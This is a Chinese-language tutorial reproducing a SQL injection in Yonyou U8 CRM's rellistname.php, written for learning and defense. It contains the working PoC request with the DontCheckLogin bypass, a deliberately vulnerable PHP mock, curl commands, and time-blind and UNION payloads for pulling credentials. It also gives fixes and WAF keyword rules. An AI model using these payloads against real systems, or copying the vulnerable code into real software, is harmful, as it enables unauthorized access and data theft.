企业级应用SQL注入漏洞实战复现:以用友U8 CRM为例

企业级应用SQL注入漏洞实战复现:以用友U8 CRM为例 1. 项目概述一次针对企业级应用的SQL注入漏洞实战复现最近在梳理一些企业级应用的历史漏洞时用友U8 CRM系统的一个老漏洞引起了我的注意。这个漏洞位于/config/rellistname.php文件中涉及多个参数存在SQL注入风险。虽然这个漏洞的POC概念验证代码在网络上已经流传了一段时间但很多刚入门安全测试的朋友或者企业内部负责安全自查的运维人员可能对如何完整、安全地复现这个漏洞并理解其背后的原理和影响还存在一些疑问。今天我就以一个从业者的视角带大家从头到尾走一遍这个漏洞的复现过程重点不在于“攻击”而在于“理解”和“防御”。我们会拆解漏洞成因搭建一个安全的测试环境手把手演示漏洞利用并深入探讨在企业实际场景中这类漏洞可能带来的真实风险以及加固方案。无论你是想学习Web安全测试的初学者还是负责用友U8系统维护的IT人员这篇文章都能给你带来直接的参考价值。2. 漏洞背景与核心原理深度解析2.1 用友U8 CRM系统架构浅析要理解这个漏洞首先得对用友U8 CRM有个基本认识。用友U8是一款面向中小型企业的ERP企业资源计划套件其CRM客户关系管理模块是其中的重要组成部分用于管理客户、销售、市场等活动。这类系统通常采用B/S架构即浏览器/服务器模式后端使用PHP、Java或.NET等语言开发前端通过Web页面与用户交互。/config/rellistname.php这个文件路径从命名上看它位于config目录下很可能是一个用于处理“关联列表名称”的配置性或功能性脚本。在实际开发中config目录有时会存放一些包含通用函数或直接处理业务逻辑的脚本这些脚本可能被其他页面通过include或require方式调用。注意很多开发人员会认为config目录下的文件不直接对外提供服务或者认为其访问需要特定前置条件从而放松了对这些文件输入参数的安全校验这是导致此类目录下文件成为漏洞高发区的重要原因之一。2.2 SQL注入漏洞的本质与rellistname.php的缺陷SQL注入的根本原因是程序将用户输入的数据未经充分过滤或转义直接拼接到了SQL查询语句中。攻击者通过构造特殊的输入可以改变原有SQL语句的逻辑执行非预期的数据库操作。我们来看漏洞POC中的关键参数GET /config/rellistname.php?DontCheckLogin1objType1reportID1wAiTFORDeLAy0:0:4---这里有几个需要拆解的点DontCheckLogin1这个参数名直译为“不要检查登录”。这很可能是一个“后门”参数或调试开关用于绕过正常的会话验证流程。在代码中可能存在类似if($_GET[‘DontCheckLogin’] ! 1) { check_session(); }的逻辑。设置此参数为1使得攻击者无需持有有效会话Cookie如PHPSESSID即可访问该脚本的核心功能极大地降低了利用门槛。objType和reportID这两个是业务参数从命名推测objType可能表示对象类型如客户、联系人、商机reportID表示报告或列表的ID。漏洞就出现在对reportID参数的处理上。注入Payload1wAiTFORDeLAy0:0:4---这是一个典型的基于时间盲注的Payload。1原意可能是reportID1加号在URL中代表空格但有时也被用于拼接。wAiTFORDeLAy0:0:4核心注入部分。它尝试执行一个类似WAITFOR DELAY 0:0:4的SQL Server语句意思是让数据库等待4秒。这里的大小写混合wAiTFOR可能是一种简单的绕过手段。---SQL注释符--用于注释掉后续的SQL代码同样是空格或拼接符-可能是为了闭合某个单引号或构成有效字符。这确保了注入的语句能正确嵌入到原SQL中。推测后端PHP代码可能如下还原漏洞场景// /config/rellistname.php $dontCheck $_GET[DontCheckLogin]; if($dontCheck ! 1) { // 检查用户登录状态 session_start(); if(!isset($_SESSION[user_id])) { die(未登录); } } $objType $_GET[objType]; $reportID $_GET[reportID]; // 危险未经过滤直接使用 // 拼接SQL语句 $sql SELECT list_name FROM some_report_table WHERE obj_type $objType AND report_id $reportID; $result mssql_query($sql); // 假设使用MSSQL扩展 // ... 后续处理 ...当reportID传入1 AND WAITFOR DELAY 0:0:4--时最终执行的SQL变为SELECT list_name FROM some_report_table WHERE obj_type 1 AND report_id 1 AND WAITFOR DELAY 0:0:4--这样如果页面响应时间明显延迟约4秒就证实了SQL注入漏洞的存在并且可以执行任意SQL语句。3. 安全复现环境搭建与工具准备重要声明以下所有操作必须在您拥有完全控制权的本地测试环境或授权测试的靶场中进行。未经授权对任何线上系统进行测试是非法行为。3.1 测试环境搭建思路由于我们无法获取真实的用友U8 CRM安装包复现此漏洞的核心是模拟漏洞存在的代码环境。有两种思路搭建近似环境安装一套PHPMSSQL的环境然后根据漏洞描述编写一个存在同样漏洞的rellistname.php脚本。使用漏洞靶场寻找包含此漏洞的在线靶场或自行搭建的漏洞演示平台。这里我们选择第一种因为它能让我们更深入地理解代码。我们假设后端数据库是Microsoft SQL Server从WAITFOR DELAY语句推测这也是企业环境中常见的选择。所需工具清单Web服务器XAMPP集成Apache、PHP、MySQL或单独安装的Apache/Nginx PHP。我们需要确保PHP支持连接MSSQL。数据库Microsoft SQL Server Express免费版或使用Docker运行一个MSSQL容器。PHP MSSQL驱动对于较新的PHP版本7通常使用sqlsrv或pdo_sqlsrv扩展。浏览器Chrome、Firefox等用于发送请求。代理工具/命令行工具Burp Suite、Postman或Curl用于精确构造和发送HTTP请求。3.2 模拟漏洞代码编写我们在本地的Web根目录如htdocs下创建/config/rellistname.php文件写入以下模拟漏洞的代码?php // 模拟用友U8 CRM /config/rellistname.php 漏洞 header(Content-Type: text/plain; charsetutf-8); // 1. 模拟 DontCheckLogin 绕过 $dontCheck isset($_GET[DontCheckLogin]) ? intval($_GET[DontCheckLogin]) : 0; if ($dontCheck ! 1) { // 模拟登录检查这里简单判断一个不存在的session if (empty($_SESSION[模拟用户])) { die(错误请先登录系统。\n); } } echo [] 登录检查已绕过。\n; // 2. 获取未经过滤的参数漏洞点 $objType isset($_GET[objType]) ? $_GET[objType] : ; $reportID isset($_GET[reportID]) ? $_GET[reportID] : ; // 危险直接使用 // 3. 模拟数据库连接这里需要你配置正确的连接信息 $serverName localhost\SQLEXPRESS; // 你的MSSQL服务器实例名 $connectionInfo array( DatabaseTestDB, UIDsa, PWDYourStrongPassword); $conn sqlsrv_connect($serverName, $connectionInfo); if ($conn false) { die(print_r(sqlsrv_errors(), true)); } echo [] 数据库连接成功。\n; // 4. 构造存在漏洞的SQL语句 $sql SELECT 模拟列表名称 as list_name FROM DUAL WHERE 11 ; // 简化查询方便观察 if (!empty($objType)) { $sql . AND obj_type $objType; // 参数拼接 } if (!empty($reportID)) { $sql . AND report_id $reportID; // 漏洞点$reportID未过滤直接拼接 } echo [*] 执行的SQL语句: . $sql . \n; // 5. 执行查询 $stmt sqlsrv_query($conn, $sql); if ($stmt false) { echo [-] 查询执行失败: . print_r(sqlsrv_errors(), true) . \n; } else { echo [] 查询执行成功。\n; while ($row sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) { print_r($row); } sqlsrv_free_stmt($stmt); } sqlsrv_close($conn); ?环境配置关键点确保PHP已启用sqlsrv扩展。在php.ini中取消注释或添加extensionphp_sqlsrv_xx_ts.dllxx代表版本。在MSSQL中创建一个测试数据库TestDB不需要创建表因为我们的查询是SELECT ... FROM DUALOracle语法MSSQL中可用SELECT 模拟列表名称 as list_name仅用于验证语句执行。修改代码中的数据库连接信息服务器名、用户名、密码以匹配你的环境。4. 漏洞复现实操与利用链分析4.1 基础验证时间盲注复现环境准备好后我们通过浏览器或Curl来验证漏洞。步骤1正常访问应被拦截访问http://localhost/config/rellistname.php?objType1reportID1预期结果应显示“错误请先登录系统。”因为未传DontCheckLogin1。步骤2绕过登录检查访问http://localhost/config/rellistname.php?DontCheckLogin1objType1reportID1预期结果显示连接成功并打印出执行的SQL语句SELECT ... AND obj_type 1 AND report_id 1。这说明DontCheckLogin参数生效。步骤3触发时间盲注使用Curl命令以便更好地观察时间curl -s -o /dev/null -w 时间: %{time_total}\n http://localhost/config/rellistname.php?DontCheckLogin1objType1reportID1%27%20WAITFOR%20DELAY%20%270:0:4%27--这里对Payload进行了URL编码变为%27空格变为%20。预期结果命令执行时间会显著增加约4秒以上因为数据库执行了WAITFOR DELAY 0:0:4。同时查看Apache或PHP的日志可能会看到报错因为拼接后的SQL语法可能有问题但延迟已经发生这足以证明注入点存在且可被利用。步骤4优化Payload原POC中的Payload1wAiTFORDeLAy0:0:4---在直接通过浏览器地址栏输入时会被解释为空格。但在代码中$_GET[‘reportID’]获取到的值就是1wAiTFORDeLAy0:0:4---。为了让我们的模拟环境更兼容我们可以尝试构造一个能正确闭合单引号的Payload1 AND WAITFOR DELAY 0:0:4 AND 11对应的URL编码访问curl -s -o /dev/null -w 时间: %{time_total}\n http://localhost/config/rellistname.php?DontCheckLogin1objType1reportID1%27%20AND%20WAITFOR%20DELAY%20%270:0:4%27%20AND%20%271%27%271观察响应时间如果明显延迟则漏洞复现成功。4.2 利用链拓展信息获取与数据泄露时间盲注证明了漏洞存在但真正的危害在于数据泄露和系统控制。接下来我们模拟如何利用这个注入点获取信息。1. 判断当前数据库用户利用时间盲注的特性我们可以通过条件判断来逐位获取信息。例如判断当前用户是否为sa1 AND IF(SYSTEM_USERsa, WAITFOR DELAY 0:0:3, 0) AND 11对应的Payload需要编码。在实际攻击中攻击者会使用自动化工具如sqlmap来高效完成这个过程。2. 获取数据库名、表名、字段名原理相同通过构造条件查询information_schemaSQL Server中为sys.databases,sys.tables,sys.columns等信息利用时间差来判断条件真假。 例如判断第一个数据库名的第一个字符是否为‘a’1 AND IF(SUBSTRING(DB_NAME(),1,1)a, WAITFOR DELAY 0:0:3, 0) AND 113. 数据导出一旦知道了表结构就可以构造联合查询Union Select来直接回显数据前提是页面会输出查询结果。在我们的模拟代码中如果注入的语句能成功执行并返回数据就会被print_r打印出来。例如1 UNION SELECT username, password FROM sysusers-- -这可能导致敏感信息泄露。实操心得在实际的用友U8 CRM系统中rellistname.php文件可能不会直接回显数据库查询结果或者只返回特定格式的数据如JSON。这就需要攻击者根据响应内容的变化如时间延迟、页面内容差异、错误信息来推断注入结果这就是盲注布尔盲注或时间盲注。原POC选择时间盲注正是因为其通用性强不依赖于页面回显。5. 漏洞深度挖掘与防御方案探讨5.1 漏洞根源与代码审计视角从安全开发的角度看这个漏洞是多个不良实践叠加的结果身份验证绕过DontCheckLogin这类参数的存在是极其危险的。它可能是开发阶段留下的调试开关但在生产环境中未被移除。永远不要在生产代码中保留任何可以绕过核心安全机制如认证、授权的后门或调试开关。未使用参数化查询或预处理语句这是SQL注入的“万恶之源”。直接拼接用户输入到SQL字符串中等于向攻击者敞开了数据库的大门。输入验证缺失对于reportID这类应为数字型的参数没有进行类型强制转换如intval()或白名单验证。错误信息处理不当虽然时间盲注不依赖错误回显但如果网站开启了详细的数据库错误显示会大大降低攻击难度让攻击者更快地了解数据库结构和构造Payload。代码审计时如何发现此类漏洞全局搜索危险函数在PHP项目中搜索mssql_query(),mysql_query(),sqlsrv_query()以及直接使用.进行字符串拼接的SQL语句。追踪用户输入查看$_GET,$_POST,$_REQUEST等超全局变量如何流入SQL语句。检查认证绕过搜索DontCheckLogin,bypass,debug,test等可能的关键词检查其逻辑是否绕过了session验证。关注config,include,admin等目录这些目录下的脚本常被忽视却可能包含直接调用的业务逻辑。5.2 企业级修复与防御建议如果你是负责用友U8 CRM系统的管理员或开发者发现此漏洞后应采取以下措施紧急缓解措施治标访问控制立即在Web服务器如Nginx/Apache层面对/config/rellistname.php文件设置访问限制。例如只允许来自内网特定IP段的请求访问或者直接临时重命名/删除该文件需评估业务影响。WAFWeb应用防火墙规则在现有的WAF上部署规则拦截包含WAITFOR DELAY、SLEEP()、BENCHMARK()等SQL时间函数以及UNION SELECT、INFORMATION_SCHEMA等敏感关键词的请求特别是对DontCheckLogin参数异常的请求进行阻断。数据库权限最小化检查连接数据库的应用程序账户权限。确保其只有执行必要操作如特定表的SELECT的权限而非sa或dbo等高权限账户。这样即使发生注入危害也有限。根本解决方案治本代码修复这是最根本的。找到原始的rellistname.php文件进行修改。移除后门删除或严格限制DontCheckLogin参数的功能。生产环境不应使用此方式绕过登录。使用参数化查询预处理语句这是防御SQL注入的黄金标准。将代码改造为// 使用 sqlsrv 预处理 $sql SELECT list_name FROM some_report_table WHERE obj_type ? AND report_id ?; $params array($objType, $reportID); $stmt sqlsrv_prepare($conn, $sql, $params); if (sqlsrv_execute($stmt)) { ... }严格输入验证对objType和reportID进行强类型校验。例如reportID应为正整数$reportID isset($_GET[reportID]) ? intval($_GET[reportID]) : 0; if ($reportID 0) { die(无效参数); }安全开发生命周期SDL将安全要求嵌入到需求、设计、编码、测试、部署的全流程。对新代码进行代码审计对旧系统进行定期漏洞扫描和渗透测试。漏洞管理与补丁更新关注用友官方发布的安全公告和补丁。对于此类已知漏洞官方可能已发布修复版本或补丁文件应及时联系供应商获取并更新。5.3 针对安全测试人员的进阶思考对于白帽子或安全测试工程师复现这个漏洞后可以进一步思考漏洞组合利用如果通过此注入点获取了数据库管理员密码的哈希值假设存储了并且系统其他部分如后台登录存在弱口令或密码复用是否可能进一步攻入后台目录遍历与文件发现/config/目录下是否还有其他类似的不安全文件尝试使用目录扫描工具如Dirsearch, Gobuster进行发现。框架与组件识别用友U8 CRM是否使用了其他存在已知漏洞的第三方组件如特定版本的PHP框架、数据库驱动这可以扩大攻击面。编写自动化检测脚本基于此POC可以编写一个简单的Python脚本批量检测互联网上暴露的用友U8 CRM系统是否存在此漏洞用于企业自身的资产风险排查必须在法律和授权范围内进行。6. 常见问题与排查技巧实录在复现和后续分析过程中你可能会遇到以下问题Q1搭建测试环境时PHP连接MSSQL总是失败。A1这是最常见的问题。请按以下步骤排查确认扩展已正确安装在PHP文件中使用phpinfo();查看是否有sqlsrv或pdo_sqlsrv模块。检查驱动版本匹配确保下载的sqlsrv驱动版本与你的PHP版本线程安全/非线程安全TS/NTS、x86/x64、VC运行时版本完全匹配。微软官网提供了详细的版本矩阵。检查SQL Server配置确保SQL Server已启用TCP/IP协议通过SQL Server配置管理器并且防火墙放行了1433端口默认。连接字符串服务器名localhost\SQLEXPRESS中的实例名SQLEXPRESS需要替换为你自己的实例名。如果使用默认实例可以只用localhost。Q2使用Curl测试时间盲注时延迟不明显或没有延迟。A2网络延迟确保测试在本地或低延迟网络进行。Payload构造错误检查单引号闭合是否正确。使用echo $sql;在代码中打印出最终执行的SQL语句复制到MSSQL管理工具如SSMS中直接执行看是否有语法错误或是否真的产生了延迟。数据库权限连接数据库的用户是否有执行WAITFOR DELAY的权限尝试用该用户直接在数据库查询窗口执行该命令。PHP执行超时设置检查php.ini中的max_execution_time设置如果设置过小如30秒长时间查询可能被中断。Q3原POC中的PHPSESSIDbgsesstimeout-这个Cookie有什么作用A3在某些版本的用友U8 CRM中可能存在一种会话处理机制当会话超时后会设置一个特定的Cookie值如bgsesstimeout-来标识。原POC中携带这个Cookie可能是为了应对某些额外的、非DontCheckLogin参数控制的会话状态检查确保请求能够通过所有关卡。在我们的模拟环境中由于只模拟了DontCheckLogin这一种绕过方式所以不需要这个Cookie。但在真实漏洞利用时如果遇到问题尝试添加或修改Cookie值是一个常见的绕过思路。Q4除了rellistname.php用友U8 CRM还有其他类似漏洞吗A4像用友U8这样的大型、模块化企业软件历史版本中往往存在多个类似漏洞。安全研究人员曾披露过用友U8其他模块如OA、财务的SQL注入、文件上传、任意文件读取等漏洞。其根本原因在于早期版本对安全编码规范贯彻不严存在大量动态SQL拼接。因此在对这类系统进行安全评估时应对所有接收外部输入的接口特别是/api/,/client/,/config/等目录下的文件进行重点测试。个人体会复现一个已知漏洞远不止是运行一遍POC那么简单。从环境搭建、代码模拟、原理分析到防御思考每一步都能加深对漏洞本质和Web安全体系的理解。尤其是对于企业级应用理解其业务逻辑如CRM中的“关联列表”、常见的架构缺陷如调试后门、以及如何在复杂环境中实施有效防护这些经验远比单纯掌握一个利用工具更重要。每次复现都应该问自己如果我是开发者如何避免写出这样的代码如果我是运维如何第一时间发现和阻断此类攻击多从防御者角度思考你的安全能力才会得到真正的提升。